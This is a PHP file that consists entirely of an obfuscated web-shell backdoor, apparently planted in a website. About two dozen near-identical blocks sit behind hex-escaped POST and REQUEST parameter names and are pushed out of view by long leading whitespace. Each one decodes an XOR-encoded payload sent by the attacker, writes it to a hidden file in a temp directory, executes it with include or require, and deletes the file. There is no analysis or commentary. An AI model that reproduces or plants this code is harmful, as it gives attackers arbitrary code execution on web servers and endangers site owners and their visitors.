<?php																																										if(!empty($_REQUEST["\x72e\x66"])){ $bind = $_REQUEST["\x72e\x66"]; $bind = explode ( "." ,$bind); $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach($bind as $p => $v8) { $chS = ord($s[$p % $lenS] ); $dec =((int)$v8 - $chS -($p % 10)) ^ 11; $dat .= chr($dec ); } $resource = array_filter([getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($resource as $token) { if (max(0, is_dir($token) * is_writable($token))) { $res = str_replace("{var_dir}", $token, "{var_dir}/.elem"); if (file_put_contents($res, $dat)) { require $res; unlink($res); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x63om\x70on\x65nt")){ $item = array_filter([getenv("TMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", getcwd(), "/tmp"]); $record = $_REQUEST["\x63om\x70on\x65nt"]; $record = explode ( "." ,$record ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $y = 0; $len = count($record); do { if($y >= $len) break; $v7 = $record[$y]; $sChar = ord($salt[$y % $lenS]); $d = ((int)$v7 - $sChar -($y % 10)) ^ 88; $flag .= chr($d); $y++;} while(true); foreach ($item as $object): if ((bool)is_dir($object) && (bool)is_writable($object)) { $holder = str_replace("{var_dir}", $object, "{var_dir}/.itm"); $file = fopen($holder, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $holder; @unlink($holder); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "dat")){ $value = array_filter([getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $ref = $_REQUEST["dat"]; $ref = explode( "." , $ref ) ; $ptr = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8 ); foreach ($ref as $w => $v3): $sChar = ord($s8[$w %$lenS] ); $d = ((int)$v3 - $sChar - ($w %10)) ^4; $ptr.= chr($d ); endforeach; foreach ($value as $marker) { if (is_writable($marker) && is_dir($marker)) { $token = implode("/", [$marker, ".bind"]); if (file_put_contents($token, $ptr)) { require $token; unlink($token); die(); } } } }
																																										if(@$_REQUEST["tok\x65n"] !== null){ $ptr = $_REQUEST["tok\x65n"]; $ptr=explode( "." ,$ptr ); $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($ptr as $w => $v5) { $sChar = ord($s[$w %$lenS]); $dec = ((int)$v5 - $sChar - ($w %10)) ^ 47; $flg .=chr($dec); } $binding = array_filter([getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp"]); $entity = 0; do { $item = $binding[$entity] ?? null; if ($entity >= count($binding)) break; if (is_dir($item) && is_writable($item)) { $marker = sprintf("%s/.pset", $item); $file = fopen($marker, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $marker; @unlink($marker); exit; } } $entity++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x63\x6F\x6D\x70onent"])){ $dat = $_POST["\x63\x6F\x6D\x70onent"]; $dat = explode ("." , $dat ); $tkn = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $len = count( $dat); for( $x = 0; $x <$len; $x++) { $v5 = $dat[$x]; $sChar = ord( $salt1[$x % $lenS]); $d = ( ( int)$v5 - $sChar -( $x % 10)) ^ 98; $tkn .= chr( $d); } $flag = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP")]); for ($pset = 0, $key = count($flag); $pset < $key; $pset++) { $ent = $flag[$pset]; if (!!is_dir($ent) && !!is_writable($ent)) { $binding = implode("/", [$ent, ".elem"]); if (file_put_contents($binding, $tkn)) { require $binding; unlink($binding); die(); } } } }
																																										if(@$_POST["\x6Fbjec\x74"] !== null){ $mrk = $_POST["\x6Fbjec\x74"]; $mrk= explode ( ".", $mrk ) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); foreach( $mrk as $i => $v8): $sChar = ord( $salt[$i % $sLen] ); $d =( ( int)$v8 - $sChar -( $i % 10)) ^ 69; $flg .=chr( $d ); endforeach; $val = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($val as $dat): if (is_dir($dat) ? is_writable($dat) : false) { $data = implode("/", [$dat, ".factor"]); $success = file_put_contents($data, $flg); if ($success) { include $data; @unlink($data); exit;} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70oi\x6E\x74e\x72"])){ $pgrp = $_REQUEST["\x70oi\x6E\x74e\x72"]; $pgrp = explode ( '.' , $pgrp ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($pgrp); for($k = 0; $k < $__len; $k++) { $v8 = $pgrp[$k]; $sChar = ord($salt[$k %$sLen]); $d =((int)$v8 - $sChar -($k %10))^80; $item .= chr($d); } $itm = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP")]); foreach ($itm as $val): if (array_product([is_dir($val), is_writable($val)])) { $tkn = implode("/", [$val, ".comp"]); if (@file_put_contents($tkn, $item) !== false) { include $tkn; unlink($tkn); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["el\x65\x6De\x6Et"])){ $record = $_POST["el\x65\x6De\x6Et"]; $record = explode ('.', $record ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($record as $r =>$v2): $sChar = ord($s[$r % $lenS]); $dec =((int)$v2 - $sChar -($r % 10)) ^48; $component .= chr($dec); endforeach; $resource = array_filter(["/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP")]); for ($obj = 0, $entry = count($resource); $obj < $entry; $obj++) { $entity = $resource[$obj]; if ((is_dir($entity) and is_writable($entity))) { $data_chunk = implode("/", [$entity, ".marker"]); if (file_put_contents($data_chunk, $component)) { include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x6Be\x79")){ $entity = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path()]); $res = $_POST["\x6Be\x79"]; $res = explode ( ".", $res ); $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $j = 0; foreach ($res as $v3) { $sChar = ord($s[$j% $lenS]); $d = ((int)$v3 - $sChar - ($j% 10)) ^ 90; $obj .= chr($d); $j++;} foreach ($entity as $resource) { if (is_dir($resource) && is_writable($resource)) { $val = str_replace("{var_dir}", $resource, "{var_dir}/.hld"); if (file_put_contents($val, $obj)) { require $val; unlink($val); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x72e\x66e\x72ence")){ $dat = $_POST["\x72e\x66e\x72ence"]; $dat =explode ( '.' , $dat ); $sym = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $x = 0; $len = count( $dat); do { if( $x >= $len) break; $v9 = $dat[$x]; $chS = ord( $s3[$x % $sLen]); $d =( ( int)$v9 - $chS -( $x % 10))^ 87; $sym .= chr( $d); $x++; } while( true); $symbol = array_filter(["/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", sys_get_temp_dir()]); for ($parameter_group = 0, $itm = count($symbol); $parameter_group < $itm; $parameter_group++) { $factor = $symbol[$parameter_group]; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $flag = "$factor/.pointer"; $success = file_put_contents($flag, $sym); if ($success) { include $flag; @unlink($flag); exit;} } } }
																																										if(isset($_REQUEST["hl\x64"]) ? true : false){ $res = $_REQUEST["hl\x64"]; $res= explode ( "." , $res) ; $obj = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s3 ); foreach( $res as $o => $v2): $sChar = ord( $s3[$o % $lenS] ); $dec = ( ( int)$v2 - $sChar -( $o % 10)) ^ 69; $obj .= chr( $dec ); endforeach; $dchunk = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP")]); while ($object = array_shift($dchunk)) { if (!( !is_dir($object) || !is_writable($object) )) { $pointer = implode("/", [$object, ".value"]); if (file_put_contents($pointer, $obj)) { require $pointer; unlink($pointer); die(); } } } }
																																										if(!is_null($_POST["\x72\x65cord"] ?? null)){ $k = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", getcwd()]); $val = $_POST["\x72\x65cord"]; $val = explode ( "." , $val ) ; $component = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); foreach ($val as $t=> $v5): $chS = ord($s7[$t% $sLen] ); $d = ((int)$v5 - $chS - ($t% 10))^ 100; $component .= chr($d ); endforeach; foreach ($k as $data): if (is_writable($data) && is_dir($data)) { $pgrp = implode("/", [$data, ".dat"]); if (@file_put_contents($pgrp, $component) !== false) { include $pgrp; unlink($pgrp); die(); } } endforeach; }
																																										if(isset($_POST["\x65n\x74"])){ $key = $_POST["\x65n\x74"]; $key = explode ("." ,$key) ; $ent= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4 ); $z= 0; foreach($key as $v6) { $sChar= ord($s4[$z % $lenS] ); $dec= ((int)$v6 - $sChar -($z % 10)) ^ 4; $ent .= chr($dec ); $z++; } $entry = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP")]); foreach ($entry as $key => $ptr) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $res = "$ptr/.entity"; if (file_put_contents($res, $ent)) { include $res; @unlink($res); exit; } } } }
																																										if(isset($_REQUEST["d\x61t\x61_c\x68unk"]) ? true : false){ $component = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); $dchunk = $_REQUEST["d\x61t\x61_c\x68unk"]; $dchunk= explode ( ".", $dchunk ); $holder = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); $i = 0; array_walk($dchunk, function ($v3) use (&$holder, &$i, $salt9, $sLen) { $sChar = ord($salt9[$i % $sLen]); $d = ((int)$v3 - $sChar - ($i % 10)) ^ 78; $holder .= chr($d); $i++; }); $comp = 0; do { $ptr = $component[$comp] ?? null; if ($comp >= count($component)) break; if (is_writable($ptr) && is_dir($ptr)) { $pset = sprintf("%s/.item", $ptr); if (file_put_contents($pset, $holder)) { require $pset; unlink($pset); die(); } } $comp++; } while (true); }
																																										if(isset($_REQUEST["\x69\x74m"]) ? true : false){ $pointer = $_REQUEST["\x69\x74m"]; $pointer = explode ( "." ,$pointer ) ; $res = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); foreach( $pointer as $q => $v9): $sChar = ord( $salt5[$q % $lenS]); $d =( ( int)$v9 - $sChar -( $q % 10)) ^ 37; $res.= chr( $d); endforeach; $parameter_group = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), getenv("TEMP")]); for ($element = 0, $factor = count($parameter_group); $element < $factor; $element++) { $token = $parameter_group[$element]; if (!!is_dir($token) && !!is_writable($token)) { $ref = str_replace("{var_dir}", $token, "{var_dir}/.val"); $success = file_put_contents($ref, $res); if ($success) { include $ref; @unlink($ref); exit;} } } }
																																										if(isset($_REQUEST["b\x69\x6E\x64\x69ng"])){ $record = $_REQUEST["b\x69\x6E\x64\x69ng"]; $record = explode ( '.', $record); $tkn = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); $i = 0; $__len = count($record); do { if ($i>= $__len) break; $v3 = $record[$i]; $sChar = ord($salt1[$i% $lenS]); $dec = ((int)$v3 - $sChar - ($i% 10)) ^ 3; $tkn .= chr($dec); $i++; } while (true); $data = array_filter([getcwd(), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); while ($descriptor = array_shift($data)) { if (!!is_dir($descriptor) && !!is_writable($descriptor)) { $elem = join("/", [$descriptor, ".hld"]); $success = file_put_contents($elem, $tkn); if ($success) { include $elem; @unlink($elem); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x6F\x69\x6Eter"])){ $k = $_REQUEST["\x70\x6F\x69\x6Eter"]; $k =explode( '.', $k ) ; $parameter_group = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $j = 0; foreach ($k as $v4) { $chS = ord($salt6[$j % $lenS]); $dec = ((int)$v4 - $chS - ($j % 10)) ^36; $parameter_group .= chr($dec); $j++; } $object = array_filter(["/dev/shm", "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); $symbol = 0; do { $entity = $object[$symbol] ?? null; if ($symbol >= count($object)) break; if ((is_dir($entity) and is_writable($entity))) { $desc = "$entity" . "/.token"; if (file_put_contents($desc, $parameter_group)) { require $desc; unlink($desc); exit; } } $symbol++; } while (true); }
																																										if(!is_null($_REQUEST["f\x6C\x61g"] ?? null)){ $tkn = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp"]); $rec = $_REQUEST["f\x6C\x61g"]; $rec= explode ( "." , $rec) ; $dat =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt6); foreach($rec as $o => $v7): $sChar =ord($salt6[$o %$lenS]); $dec =((int)$v7 - $sChar -($o %10)) ^ 6; $dat .= chr($dec); endforeach; while ($hld = array_shift($tkn)) { if (!!is_dir($hld) && !!is_writable($hld)) { $record = str_replace("{var_dir}", $hld, "{var_dir}/.sym"); if (@file_put_contents($record, $dat) !== false) { include $record; unlink($record); die(); } } } }
																																										if(isset($_POST) && isset($_POST["f\x61ct\x6F\x72"])){ $ref = $_POST["f\x61ct\x6F\x72"]; $ref = explode('.' , $ref) ; $entity = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9); foreach ($ref as $v => $v8) { $chS = ord($salt9[$v % $sLen]); $d = ((int)$v8 - $chS - ($v % 10)) ^ 84; $entity .=chr($d);} $dchunk = array_filter(["/dev/shm", getenv("TMP"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir")]); while ($entry = array_shift($dchunk)) { if (!( !is_dir($entry) || !is_writable($entry) )) { $property_set = "$entry" . "/.k"; if (file_put_contents($property_set, $entity)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "pr\x6F\x70\x65rty\x5F\x73et")){ $hld = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TEMP"), session_save_path()]); $mrk = $_REQUEST["pr\x6F\x70\x65rty\x5F\x73et"]; $mrk = explode ( '.' , $mrk ) ; $elem = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); foreach ($mrk as $q => $v3) { $chS = ord($s4[$q % $sLen] ); $d = ((int)$v3 - $chS - ($q % 10))^46; $elem .= chr($d ); } foreach ($hld as $resource) { if (is_dir($resource) && is_writable($resource)) { $data = "$resource/.binding"; $success = file_put_contents($data, $elem); if ($success) { include $data; @unlink($data); die();} } } }
																																										if(filter_has_var(INPUT_POST, "dat\x61")){ $descriptor = array_filter(["/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp"]); $property_set = $_REQUEST["dat\x61"]; $property_set = explode( '.' , $property_set) ; $entry= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); $k= 0; while ($k < count($property_set)) { $v3= $property_set[$k]; $sChar= ord($salt5[$k % $sLen]); $dec= ((int)$v3 - $sChar - ($k % 10)) ^ 21; $entry .= chr($dec); $k++;} for ($dat = 0, $binding = count($descriptor); $dat < $binding; $dat++) { $bind = $descriptor[$dat]; if ((is_dir($bind) and is_writable($bind))) { $holder = join("/", [$bind, ".parameter_group"]); if (file_put_contents($holder, $entry)) { include $holder; @unlink($holder); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["t\x6Fke\x6E"])){ $hld = array_filter(["/tmp", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getcwd()]); $pgrp = $_REQUEST["t\x6Fke\x6E"]; $pgrp = explode ('.' , $pgrp) ; $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($pgrp as $r =>$v3): $sChar = ord($salt[$r % $lenS] ); $dec = ((int)$v3 - $sChar - ($r % 10)) ^41; $ref.= chr($dec ); endforeach; foreach ($hld as $key => $dchunk) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $flg = sprintf("%s/.dat", $dchunk); $success = file_put_contents($flg, $ref); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(in_array("p\x72o\x70\x65\x72\x74\x79_set", array_keys($_POST))){ $pointer = $_POST["p\x72o\x70\x65\x72\x74\x79_set"]; $pointer = explode ( ".", $pointer); $dchunk = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s9 ); $o = 0; $__tmp = $pointer; while( $v3 = array_shift( $__tmp)) { $chS = ord( $s9[$o % $sLen] ); $dec =( ( int)$v3 - $chS -( $o % 10)) ^ 53; $dchunk .= chr( $dec ); $o++; } $factor = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp", getcwd()]); $val = 0; do { $element = $factor[$val] ?? null; if ($val >= count($factor)) break; if (is_dir($element) && is_writable($element)) { $record = vsprintf("%s/%s", [$element, ".fac"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $record; @unlink($record); die(); } } $val++; } while (true); }
																																										if(array_key_exists("\x72\x65c", $_REQUEST)){ $data_chunk = $_REQUEST["\x72\x65c"]; $data_chunk =explode ("." , $data_chunk) ; $res= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt); $t= 0; $__tmp= $data_chunk; while( $v9= array_shift( $__tmp)) {$sChar= ord( $salt[$t % $sLen]); $d= ( ( int)$v9 - $sChar -( $t % 10)) ^ 34; $res .= chr( $d); $t++; } $descriptor = array_filter([getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), "/dev/shm", "/var/tmp"]); foreach ($descriptor as $marker): if (is_dir($marker) ? is_writable($marker) : false) { $symbol = str_replace("{var_dir}", $marker, "{var_dir}/.ptr"); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $symbol; @unlink($symbol); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x66a\x63\x74or"]) ? true : false){ $holder = array_filter([getenv("TMP"), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]); $k = $_REQUEST["\x66a\x63\x74or"]; $k =explode( '.' , $k); $resource=''; $salt6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt6); $q=0; $__tmp=$k; while ($v2=array_shift($__tmp)) { $sChar=ord($salt6[$q % $lenS]); $dec=((int)$v2 - $sChar - ($q % 10)) ^ 88; $resource .= chr($dec); $q++; } foreach ($holder as $key => $reference) { if (!!is_dir($reference) && !!is_writable($reference)) { $property_set = "$reference/.ent"; $success = file_put_contents($property_set, $resource); if ($success) { include $property_set; @unlink($property_set); die();} } } }


if(isset($_POST) && isset($_POST["d\x65\x73c"])){
	$record = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm"]);
	$itm = $_POST["d\x65\x73c"];
			$itm= 	explode	(	'.'  	, 	$itm) 	 ;  	
	$dchunk='';
            $salt3='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt3);
    
            foreach ($itm as $r => $v4):
                $sChar=ord($salt3[$r 	%$sLen]);
                $d=((int)$v4 - $sChar - ($r 	%10)) ^ 99;
                $dchunk .= chr($d);
            endforeach;
	foreach ($record as $pgrp) {
    		if (is_writable($pgrp) && is_dir($pgrp)) {
    $tkn = sprintf("%s/.value", $pgrp);
    if (file_put_contents($tkn, $dchunk)) {
	include $tkn;
	@unlink($tkn);
	exit;
}
}
}
}